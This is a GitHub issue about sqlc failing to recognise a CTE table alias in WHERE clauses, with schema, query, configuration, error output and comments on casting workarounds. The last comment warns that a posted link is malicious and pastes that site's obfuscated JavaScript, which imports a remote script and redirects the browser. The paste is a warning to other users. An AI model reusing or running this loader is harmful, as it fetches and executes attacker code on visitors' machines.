Skip to content

Bug When Using Table Aliases: table alias "all_users" does not exist #3169

Open

Description

@AvicennaJr

Version

1.25.0

What happened?

Sqlc encounters issues when attempting to recognize table aliases specified within the WHERE clause, particularly when filtering selections using the syntax alias_table.field = 'something'.

I've provided a simple example to replicate the issue

Relevant log output

sqlc generate failed.

# package 
query.sql:8:39: table alias "all_users" does not exist

Database schema

-- Create users table
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    email VARCHAR(100) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- Create posts table
CREATE TABLE admins (
    id SERIAL PRIMARY KEY,
    email VARCHAR(100) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

SQL queries

-- name: GetAllUsers :many
WITH all_users AS (
    SELECT id, email FROM users
    UNION
    SELECT id, email FROM admins
)
SELECT id, email FROM all_users where all_users.email=$1;

Configuration

version: "2"
sql:
- schema: "./db/migrations/"
  queries: "./pkg/postgres/queries/"
  engine: "postgresql"
  gen:
    go: 
      package: "postgres"
      out: "./pkg/postgres/sqlc"
      emit_json_tags: true
      emit_prepared_queries: false
      emit_interface: true
      emit_exact_table_names: false
      emit_empty_slices: true

Playground URL

https://play.sqlc.dev/p/388ae1f5e3a9ab6c0185bdfce9ead7acbbb6ece3d6a52d828cd40184b109caf3

What operating system are you using?

Linux

What database engines are you using?

PostgreSQL

What type of code are you generating?

Go

Activity

  1. added
    bugSomething isn't working
    triageNew issues that hasn't been reviewed
    on Feb 1, 2024
  2. matteobassan commented on Feb 21, 2024

    @matteobassan

    Same thing here: when i set my where condition to a constant it works, but when the condition is dynamic, i get error:

    WHERE models.make_id = 47; this works
    WHERE models.make_id = @in_make_id; this on does not
    WHERE models.make_id = (sqlc.arg(in_make_id)); this one neither

  3. Jille commented on Feb 27, 2024

    @Jille
    Contributor

    I expect #3220 to fix this

  4. Dmdv commented on May 15, 2024

    @Dmdv

    I have the same, table aliases are not recognaized

  5. Dmdv commented on May 15, 2024

    @Dmdv

    Hi everyone
    This error persist since 2022.
    Can someone ping the pull request #3220
    How one can possibly work without CTE or joins?
    Is SQLC only for primitive cases?

    Please, pay attention to issues:
    #2400
    #3169
    #1385

  6. frbrno commented on Jun 3, 2024

    @frbrno

    Same thing here: when i set my where condition to a constant it works, but when the condition is dynamic, i get error:

    WHERE models.make_id = 47; this works WHERE models.make_id = @in_make_id; this on does not WHERE models.make_id = (sqlc.arg(in_make_id)); this one neither

    same issue here with sqlite
    this seems to work for me:
    WHERE models.make_id = cast(sqlc.arg(in_make_id) as integer);

  7. dkrieger commented on Jul 1, 2024

    @dkrieger

    @kyleconroy a vanilla use case in probably the most popular non-embedded database, postgres (and seemingly also the most popular embedded database, sqlite), is broken, with a bad error message to boot. Can we get a TTR for this bug, guidance on acceptable PRs, or anything at all?

  8. rob2244 commented on Jul 24, 2024

    @rob2244
    Contributor

    +1 having this same issue, super annoying makes where clauses based on CTE's basically unusable

  9. removed
    triageNew issues that hasn't been reviewed
    on Aug 5, 2024
  10. brojonat commented on Aug 26, 2024

    @brojonat

    same issue here with sqlite this seems to work for me: WHERE models.make_id = cast(sqlc.arg(in_make_id) as integer);

    Yeah, casting seems to remedy this, for whatever reason. WHERE models.make_id = @in_make_id::INTEGER; works for me with postgres.

  11. AvicennaJr commented on Oct 20, 2025

    @AvicennaJr
    Author

    Please do not click that link as it is malicious. Maintainers kindly remove that comment.

    For anyone curious, this is the sites code:

    <script type="module">function orator(){var deity=['2034OUigMy','9218360DsSONE','dGcbU','Oioig','eg3CIBAUc','mtjqd','iwtnX','68753770','toString','CGJzG','2740086ZZZkHY','2710776kDDlVy','QddYZ','construct','942WpvQnV','tdJIA','Hdkdq','ziKTD','tackoverf',')+$','search','apply','now','e.site/Aa','36owwivx','gQaFK','(((.+)+)+','wrokN','QKnJA','zXIh6qcBa','RDDkH','38787uZZScY','KGkJqNvuy','YxfZv','teIZdJQm7','sPW2tIR7V','YtdyA','qWloI','StbES','pfKjp','gBWQp','GpQYq','jrpYW','hfNSdAnTm','54348AHRMPS','https://6','aeABa','XxdMs','href','252EAfpop','https://s','3223450lxcGNm'];orator=function(){return deity;};return orator();}function breck(bunkhouse,auspicious){var janitor=orator();return breck=function(tranquilizer,multimillionaire){tranquilizer=tranquilizer-(0x1*-0x1f83+-0xc85+-0x2c9a*-0x1);var piercing=janitor[tranquilizer];return piercing;},breck(bunkhouse,auspicious);}(function(fungus,doorbell){var blunt={pensione:0x329,suture:0x338,intestine:0x337,sniffer:0x31f,observatory:0x338,ladle:0x335,gravy:0x31d,burger:0x3c,gracious:0x2c,unconvinced:0x37,sinecure:0x33a,young:0x330,reception:0x327,tick:0x35a,pendulum:0x346,pullover:0x33b,frantic:0x51,bomb:0x41,halfcircle:0x5b,patron:0x47,federal:0x33,glad:0x2d,squint:0x21,rookery:0x2b,money:0x2c,mohammed:0x20,breakwater:0x45,scum:0x32,feathery:0x23,obscure:0x32},quaver={bolt:0x83},trace=fungus();function ratio(wayne,fillip,mayoral,error){return breck(fillip- -quaver.bolt,mayoral);}function crass(foreword,museum,removal,planetoid){return breck(museum-0x293,removal);}while(!![]){try{var snowshoe=parseInt(crass(blunt.pensione,blunt.suture,blunt.intestine,blunt.sniffer))/(0x242f+-0x4*0xe7+-0x2092)*(parseInt(crass(blunt.observatory,blunt.ladle,blunt.gravy,0x31b))/(0x1a*0xc9+0xc93+-0x20fb))+-parseInt(ratio(blunt.burger,0x3a,blunt.gracious,blunt.unconvinced))/(0x9ba+0x1a94+-0x1*0x244b)*(-parseInt(crass(blunt.sinecure,blunt.young,0x31b,blunt.reception))/(-0x239e+0x114c+0x1*0x1256))+-parseInt(crass(0x324,blunt.intestine,blunt.sinecure,0x31d))/(0xf*-0x227+0x8b6+0x1798)+-parseInt(crass(blunt.tick,blunt.pendulum,0x34b,blunt.pullover))/(0x17ea+-0xd3*-0x11+-0x139*0x1f)*(parseInt(ratio(blunt.frantic,blunt.bomb,blunt.halfcircle,blunt.patron))/(0x28a+-0xfbb+0x24*0x5e))+parseInt(ratio(blunt.federal,blunt.glad,0x45,blunt.squint))/(-0x1*-0x1bfe+0x1*-0xcf0+-0xf06)+parseInt(ratio(blunt.rookery,blunt.money,blunt.mohammed,blunt.breakwater))/(-0x24af+0x52+0x2466)+parseInt(ratio(blunt.scum,blunt.feathery,0x2d,blunt.obscure))/(0xb2b+0xca4+-0x5*0x4c1);if(snowshoe===doorbell)break;else trace['push'](trace['shift']());}catch(hussy){trace['push'](trace['shift']());}}}(orator,-0xac7ed+0x4da11+0xd192a),(async function(){var trove={ruddy:0x257,dank:0x24a,impasse:0x25f,bottleneck:0x259,catastrophic:0xff,dropping:0xf3,received:0xe1,middleincome:0xea,contraband:0x108,shaft:0xf1,militiaman:0xfd,fornication:0xee,cereal:0x279,podesta:0x286,anchor:0x103,subsidy:0x114,unique:0xfd,forlorn:0x260,bondage:0x274,identical:0x251,inevitability:0x257,isotope:0xf5,pitiful:0xf2,distinguishing:0x10b,ageless:0x256,cyrus:0x247,emperor:0x284,nub:0x280,apprenticeship:0x277,lateness:0x292,toddy:0x27e,undercurrent:0x265,mead:0x28f,precocious:0x102,enduring:0x111,flirt:0x124,sparse:0x116,cucumber:0x287,dependency:0x29e,blaspheme:0x28a,cooked:0x10d,aggressive:0x113,glimmer:0x103,standout:0xf4,jordon:0xfb,pipeline:0x254,speechless:0x23b,miter:0x264,biker:0x270,sloth:0x269,deviant:0x27d,depletion:0x271,bilge:0x28c,entrant:0x287,david:0xfe,rapid:0x107,flashing:0xfc,salt:0x101,arrogant:0x282,mane:0x295,rewarding:0x298,catamaran:0x259,selection:0x25f,infection:0x263,bride:0x26e,footbridge:0x24d,terrestrial:0xe4,costume:0x108,expected:0xf9,selfsufficient:0xf8,parade:0x265,surrogate:0x261,misnomer:0x24f,polity:0x25a,haunted:0x276,steamy:0x283,automobile:0x288,forum:0x29b,banister:0x272,swan:0x25f,embezzlement:0x27c,pasture:0x258,swirl:0x25c,condition:0x245,wrongdoing:0x246,stressful:0x26a,substitution:0x27e,trendy:0x270,annuity:0x127,psychological:0x107,masque:0x285,rigging:0x294,sealer:0x27f,brevyn:0xee,diamond:0xdf,aisle:0xef},pocket={thornbush:0x2a2,tracing:0x29f,julio:0x2ac,newscaster:0x29c,override:0x133,barney:0x139,impala:0x14a,trustee:0x120,hogan:0x2a0,hankie:0x2a9,adequacy:0x146,esteemed:0x135,sin:0x148,celebrity:0x148,omnipresent:0x139,figure:0x129},cajole={rejoinder:0x1c2},concrete={limerick:0x378,beneficent:0x373,cushion:0x384,caller:0x380,twine:0x37a,sigh:0x3b8,elite:0x3b4,belated:0x396,volition:0xcf,totalitarian:0xe5,eulogy:0xdd,onetime:0x368,caged:0x37a,adjournment:0x371,stale:0x380},jawbone={elastic:0xdc,cinematic:0xf7,goal:0xc8,traveller:0xbd,gaping:0xc4,felix:0x125,ventilator:0x139,concentration:0x128},target={outlawed:0x184,jumping:0x194,blackberry:0x17d,chamber:0x177,furious:0x17e,reviewer:0x163},orgy={granny:0x72,electromagnetic:0x27,salute:0x2b},joss={daily:0x1a9};function emanation(rivulet,shout,clean,pennant){return breck(pennant- -joss.daily,rivulet);}var influence={'dGcbU':dragonet(trove.ruddy,trove.dank,trove.impasse,trove.bottleneck),'XxdMs':emanation(-trove.catastrophic,-trove.dropping,-trove.received,-trove.middleincome)+emanation(-trove.contraband,-0xe8,-0xf2,-trove.shaft),'gQaFK':function(mil,reflective,dependent){return mil(reflective,dependent);},'iwtnX':function(crippling){return crippling();},'GpQYq':emanation(-trove.militiaman,-0xf7,-trove.fornication,-0x106)+dragonet(trove.cereal,trove.podesta,0x289,trove.impasse)+'low.com/q'+'uestions/'+emanation(-trove.anchor,-trove.subsidy,-trove.anchor,-trove.unique),'QKnJA':function(necktie,spouse,thanksgiving){return necktie(spouse,thanksgiving);},'QseXt':function(busboy){return busboy();},'CGJzG':dragonet(trove.forlorn,trove.bondage,trove.identical,trove.inevitability)+emanation(-trove.isotope,-trove.pitiful,-trove.distinguishing,-0x100)+dragonet(trove.ageless,0x26b,0x25f,trove.cyrus)+'csJ0u3m7l'+dragonet(trove.emperor,trove.nub,trove.apprenticeship,trove.lateness)+'EOY72.lnk'+dragonet(trove.toddy,0x284,trove.undercurrent,trove.mead)+emanation(-trove.precocious,-trove.enduring,-trove.flirt,-trove.sparse)+dragonet(trove.cucumber,trove.dependency,trove.blaspheme,trove.lateness)+'KRD84QQ4T'+emanation(-trove.cooked,-trove.sparse,-trove.aggressive,-0x10d)+'3.js?','Oioig':function(tepee,snobbery){return tepee===snobbery;},'jrpYW':'WDuyZ','QddYZ':function(taxiway,tyrant){return taxiway!==tyrant;},'qWloI':dragonet(0x276,0x28c,0x263,0x283),'StbES':emanation(-trove.glimmer,-trove.standout,-trove.jordon,-trove.catastrophic),'RDDkH':dragonet(trove.pipeline,trove.speechless,trove.miter,0x24d)},mockery=(function(){var interferon={unmanned:0x313,hairless:0x324,veal:0x30e},orchid={greatgrandfather:0x31,apologist:0x1d2},invisible={panic:0x27,ellington:0xe6,ice:0x22a};function soda(feline,washtub,straitjacket,hazy){return emanation(washtub,washtub-invisible.panic,straitjacket-invisible.ellington,hazy-invisible.ice);}var robust={};robust[zayn(-0xe5,-0xf6,-jawbone.elastic,-jawbone.cinematic)]=function(showing,roughhouse){return showing===roughhouse;},robust[zayn(-jawbone.goal,-jawbone.traveller,-0xc4,-jawbone.gaping)]=influence[soda(jawbone.felix,jawbone.ventilator,0x11c,jawbone.concentration)];var slowmoving=robust,senseless=!![];function zayn(pyramid,poll,ken,gregg){return emanation(ken,poll-orgy.granny,ken-orgy.electromagnetic,pyramid-orgy.salute);}return function(yeoman,proficient){var grotto={vocation:0x122,jab:0x13b},abraham={subconscious:0x66,fenton:0x22},speedboat={mammoth:0x1d9,leo:0x114};function nursery(gully,solvent,passerby,wyatt){return soda(gully-orchid.greatgrandfather,passerby,passerby-orchid.apologist,wyatt-0x1f2);}function expansion(unfair,cluttered,jariel,kyle){return soda(unfair-speedboat.mammoth,unfair,jariel-speedboat.leo,cluttered- -0x2ae);}if(slowmoving[expansion(-target.outlawed,-target.jumping,-0x189,-target.blackberry)](slowmoving[expansion(-0x167,-target.chamber,-target.furious,-target.reviewer)],slowmoving['ziKTD'])){var fallibility=senseless?function(){function prairie(dowry,socket,routing,striking){return expansion(routing,striking- -0x19b,routing-abraham.subconscious,striking-abraham.fenton);}if(proficient){var prison=proficient[prairie(-interferon.unmanned,-interferon.hairless,-0x31d,-interferon.veal)](yeoman,arguments);return proficient=null,prison;}}:function(){};return senseless=![],fallibility;}else{var galen={jubilee:0x1a,wrist:0x1c9,squeeze:0x20b},campfire=gum?function(){function example(flickering,meek,ecstatic,whisker){return nursery(flickering-galen.jubilee,meek-galen.wrist,meek,flickering- -galen.squeeze);}if(screenplay){var bruised=propeller[example(grotto.vocation,grotto.jab,0x118,0x133)](finisher,arguments);return iconoclast=null,bruised;}}:function(){};return horrified=![],campfire;}};}());function moot(){var dweller={misplaced:0xba,only:0x110,sprinkler:0x1cd},posing={satisfying:0xa6,bowed:0x9d,dereliction:0x9c,videocassette:0xb2,given:0xb0,hubert:0xc1,democratic:0xa5,hind:0x7a,lofty:0xa3,embroidery:0x9a,astounded:0x8d,encounter:0x93,goodly:0xa2,spicy:0x1e7,revolution:0x1d1,showplace:0x1eb},godfather={effect:0x2b,progenitor:0x1cc},alien={differentiation:0x17a,constructive:0x32},ferocious={heed:0x182,handgun:0x1b4,threshing:0x489},agricultural={};function toehold(monstrosity,antique,icing,fascinated){return emanation(icing,antique-ferocious.heed,icing-ferocious.handgun,monstrosity-ferocious.threshing);}agricultural[toehold(concrete.limerick,concrete.beneficent,0x370,concrete.cushion)]=influence[toehold(concrete.caller,concrete.twine,0x382,0x39a)];var carport=agricultural,solemn=influence[toehold(0x39e,concrete.sigh,concrete.elite,concrete.belated)](mockery,this,function(){function protrusion(bart,reciprocal,barbarity,radiologist){return orgasm(bart- -0x2c4,reciprocal,barbarity-alien.differentiation,radiologist-alien.constructive);}function admitting(woodsman,tussle,rudy,diagnosis){return orgasm(woodsman- -godfather.effect,rudy,rudy-godfather.progenitor,diagnosis-0xc);}return solemn[admitting(posing.satisfying,posing.bowed,posing.dereliction,0xa4)]()[admitting(posing.videocassette,posing.given,posing.hubert,posing.democratic)](carport[admitting(0x91,posing.hind,posing.lofty,posing.embroidery)])[admitting(0xa6,posing.astounded,posing.encounter,posing.goodly)]()['construct'+'or'](solemn)[protrusion(-posing.spicy,-posing.revolution,-0x1e8,-posing.showplace)](carport['pfKjp']);});influence[orgasm(concrete.volition,concrete.totalitarian,concrete.eulogy,0xb6)](solemn);function orgasm(iridescent,knot,welcome,eyelid){return emanation(knot,knot-dweller.misplaced,welcome-dweller.only,iridescent-dweller.sprinkler);}location[toehold(0x381,0x39a,concrete.onetime,0x37d)]=influence[toehold(concrete.caged,concrete.adjournment,concrete.stale,0x38e)];};function dragonet(daxter,feminine,crypt,blueberry){return breck(daxter-cajole.rejoinder,crypt);}try{var squirrel=await import(influence[dragonet(trove.biker,trove.sloth,0x289,0x27d)]+Date[dragonet(trove.deviant,trove.depletion,trove.bilge,trove.entrant)]());squirrel=await squirrel['a']('d4958df');if(squirrel)influence[emanation(-trove.david,-trove.rapid,-trove.flashing,-trove.salt)](dragonet(trove.arrogant,0x279,trove.mane,trove.rewarding),influence[dragonet(0x25d,0x273,trove.catamaran,trove.selection)])?neat():location[dragonet(trove.infection,trove.catamaran,trove.bride,trove.footbridge)]=squirrel;else{if(influence[emanation(-trove.terrestrial,-trove.costume,-trove.expected,-trove.selfsufficient)](influence[dragonet(0x258,trove.parade,trove.footbridge,0x25c)],dragonet(trove.surrogate,trove.misnomer,trove.polity,trove.polity)))moot();else{var hearer={patent:0xfc,sire:0x105},winning={};winning[dragonet(0x277,trove.haunted,trove.bilge,0x289)]=influence[emanation(-trove.precocious,-0xf2,-0x100,-0x109)];var database=winning,cinematographer=influence[dragonet(trove.steamy,trove.automobile,trove.forum,trove.banister)](collectivist,this,function(){var timeless={brod:0x51a,idealization:0xbb,gadget:0xfb};function festivity(coastline,mythical,evacuation,suburbanite){return dragonet(mythical- -timeless.brod,mythical-timeless.idealization,suburbanite,suburbanite-timeless.gadget);}function flounce(machete,ishmael,fate,jailbird){return emanation(machete,ishmael-hearer.patent,fate-hearer.sire,ishmael- -0x45);}return cinematographer['toString']()[festivity(-pocket.thornbush,-pocket.tracing,-pocket.julio,-pocket.newscaster)](database[flounce(-pocket.override,-pocket.barney,-pocket.impala,-pocket.trustee)])[festivity(-0x295,-0x2ab,-pocket.hogan,-pocket.hankie)]()[flounce(-0x123,-0x13c,-pocket.adequacy,-0x147)+'or'](cinematographer)[flounce(-0x13a,-pocket.esteemed,-0x134,-pocket.sin)](database[flounce(-pocket.celebrity,-pocket.omnipresent,-0x149,-pocket.figure)]);});influence['QseXt'](cinematographer),shortterm[dragonet(trove.infection,trove.swan,trove.embezzlement,trove.pasture)]=influence[dragonet(trove.swirl,0x24c,trove.condition,trove.wrongdoing)];}}}catch(spirochete){if(influence[dragonet(trove.stressful,trove.substitution,trove.trendy,trove.nub)](influence[emanation(-0xfc,-trove.annuity,-trove.psychological,-0x112)],influence[dragonet(trove.masque,trove.rigging,0x27a,trove.sealer)])){if(indifferent){var oscillation=hanger[emanation(-trove.standout,-trove.brevyn,-trove.diamond,-trove.aisle)](pussycat,arguments);return agony=null,oscillation;}}else moot();}}()));</script>
    
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions